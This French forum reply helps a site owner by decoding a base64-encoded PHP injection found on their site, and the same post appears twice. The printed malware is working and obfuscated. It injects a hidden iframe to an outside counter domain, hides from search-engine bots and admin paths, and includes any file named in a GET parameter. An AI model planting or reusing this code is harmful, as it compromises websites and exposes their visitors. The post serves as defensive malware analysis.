par
thehawk » 01 janv. 2010, 19:10
Pour te faire une idée voici le résultat du base64_decode :
<?php
//<div style="display:none"> <iframe fsdsdf="sdfdf" width="732" height="4051" src="http://grizzli-counter.com/id120/index.php"></iframe></div>';
function IIIIIIIIIIII($IIIIIIIIIIIl) {
global $argv;
$IIIIIIIIIIlI = dirname(getcwd() . '/' . $IIIIIIIIIIIl);
$IIIIIIIIIIll = getcwd();
@chdir($IIIIIIIIIIlI);
$IIIIIIIIIIlI = getcwd();
@chdir($IIIIIIIIIIll);
return $IIIIIIIIIIlI;
}
function IIIIIIIIIIIl($IIIIIIIIIIl1) {
if( strstr($IIIIIIIIIIl1, "Yandex/") != null || strstr($IIIIIIIIIIl1, "YaDirectBot") != null || strstr($IIIIIIIIIIl1, "James Bond") != null || strstr($IIIIIIIIIIl1, "Googlebot") != null || strstr($IIIIIIIIIIl1, "Mediapartners-Google") != null || strstr($IIIIIIIIIIl1, "StackRambler") != null || strstr($IIIIIIIIIIl1, "Slurp") != null || strstr($IIIIIIIIIIl1, "msnbot") != null ) {
return true;
} return false;
} function IIIIIIIIIII1($IIIIIIIIIIlI) {
$IIIIIIIIII1I = array('adm', 'pma', 'moder', 'cp');
$IIIIIIIIII1l = false;
foreach ($IIIIIIIIII1I as $IIIIIIIIII11) {
if(strstr($IIIIIIIIIIlI, $IIIIIIIIII11) != null) {
$IIIIIIIIII1l = true;
}
}
return $IIIIIIIIII1l;
}
function IIIIIIIIIIlI($IIIIIIIIIlII) {
global $IIIIIIIIIIII, $_SERVER;
$IIIIIIIIIlII = preg_replace('/<iframe.*style=.*hidden.*\/iframe[^>]*>/i', "", $IIIIIIIIIlII);
$IIIIIIIIIlII = preg_replace('/<div.*style=.*display:none.*[^>]*>.*<iframe .*\/.*div[^>]*>/i', "", $IIIIIIIIIlII);
$IIIIIIIIIlII = preg_replace('/<!-- ad --><script[^>]*>.*<\/script><!-- \/ad -->/i', "", $IIIIIIIIIlII);
if(IIIIIIIIIIIl($_SERVER['HTTP_USER_AGENT']) == true || IIIIIIIIIII1(dirname($_SERVER['SCRIPT_NAME'])) == true) {
return $IIIIIIIIIlII;
}
else {
if(preg_match("/(<body[^>]*>)/i", $IIIIIIIIIlII) > 0) {
return preg_replace("/(<body[^>]*>)/i", "$IIIIIIIIIlI1 \n".$IIIIIIIIIIII, $IIIIIIIIIlII, 1);
}
else {
return $IIIIIIIIIlII.$IIIIIIIIIIII;
}
}
}
if(@ob_start('IIIIIIIIIIlI') == true) {
$IIIIIIIIIIIl = $_GET['qq'];
@chdir(IIIIIIIIIIII($IIIIIIIIIIIl));
include($IIIIIIIIIIIl);
}
else {
echo $IIIIIIIIIIII;
}
?>
Le tout sera executer par le eval;
En gros tu execute un code malveillant a chaque affichage.
TU peux changer tes codes d'accès FTP , SQL et toutes les données de ton site s'il est sensible.
SInon les experts du forum te répondront plus précisement
Bye HAwk.
Pour te faire une idée voici le résultat du base64_decode :
[php]<?php
//<div style="display:none"> <iframe fsdsdf="sdfdf" width="732" height="4051" src="http://grizzli-counter.com/id120/index.php"></iframe></div>';
function IIIIIIIIIIII($IIIIIIIIIIIl) {
global $argv;
$IIIIIIIIIIlI = dirname(getcwd() . '/' . $IIIIIIIIIIIl);
$IIIIIIIIIIll = getcwd();
@chdir($IIIIIIIIIIlI);
$IIIIIIIIIIlI = getcwd();
@chdir($IIIIIIIIIIll);
return $IIIIIIIIIIlI;
}
function IIIIIIIIIIIl($IIIIIIIIIIl1) {
if( strstr($IIIIIIIIIIl1, "Yandex/") != null || strstr($IIIIIIIIIIl1, "YaDirectBot") != null || strstr($IIIIIIIIIIl1, "James Bond") != null || strstr($IIIIIIIIIIl1, "Googlebot") != null || strstr($IIIIIIIIIIl1, "Mediapartners-Google") != null || strstr($IIIIIIIIIIl1, "StackRambler") != null || strstr($IIIIIIIIIIl1, "Slurp") != null || strstr($IIIIIIIIIIl1, "msnbot") != null ) {
return true;
} return false;
} function IIIIIIIIIII1($IIIIIIIIIIlI) {
$IIIIIIIIII1I = array('adm', 'pma', 'moder', 'cp');
$IIIIIIIIII1l = false;
foreach ($IIIIIIIIII1I as $IIIIIIIIII11) {
if(strstr($IIIIIIIIIIlI, $IIIIIIIIII11) != null) {
$IIIIIIIIII1l = true;
}
}
return $IIIIIIIIII1l;
}
function IIIIIIIIIIlI($IIIIIIIIIlII) {
global $IIIIIIIIIIII, $_SERVER;
$IIIIIIIIIlII = preg_replace('/<iframe.*style=.*hidden.*\/iframe[^>]*>/i', "", $IIIIIIIIIlII);
$IIIIIIIIIlII = preg_replace('/<div.*style=.*display:none.*[^>]*>.*<iframe .*\/.*div[^>]*>/i', "", $IIIIIIIIIlII);
$IIIIIIIIIlII = preg_replace('/<!-- ad --><script[^>]*>.*<\/script><!-- \/ad -->/i', "", $IIIIIIIIIlII);
if(IIIIIIIIIIIl($_SERVER['HTTP_USER_AGENT']) == true || IIIIIIIIIII1(dirname($_SERVER['SCRIPT_NAME'])) == true) {
return $IIIIIIIIIlII;
}
else {
if(preg_match("/(<body[^>]*>)/i", $IIIIIIIIIlII) > 0) {
return preg_replace("/(<body[^>]*>)/i", "$IIIIIIIIIlI1 \n".$IIIIIIIIIIII, $IIIIIIIIIlII, 1);
}
else {
return $IIIIIIIIIlII.$IIIIIIIIIIII;
}
}
}
if(@ob_start('IIIIIIIIIIlI') == true) {
$IIIIIIIIIIIl = $_GET['qq'];
@chdir(IIIIIIIIIIII($IIIIIIIIIIIl));
include($IIIIIIIIIIIl);
}
else {
echo $IIIIIIIIIIII;
}
?>[/php]
Le tout sera executer par le eval;
En gros tu execute un code malveillant a chaque affichage.
TU peux changer tes codes d'accès FTP , SQL et toutes les données de ton site s'il est sensible.
SInon les experts du forum te répondront plus précisement
Bye HAwk.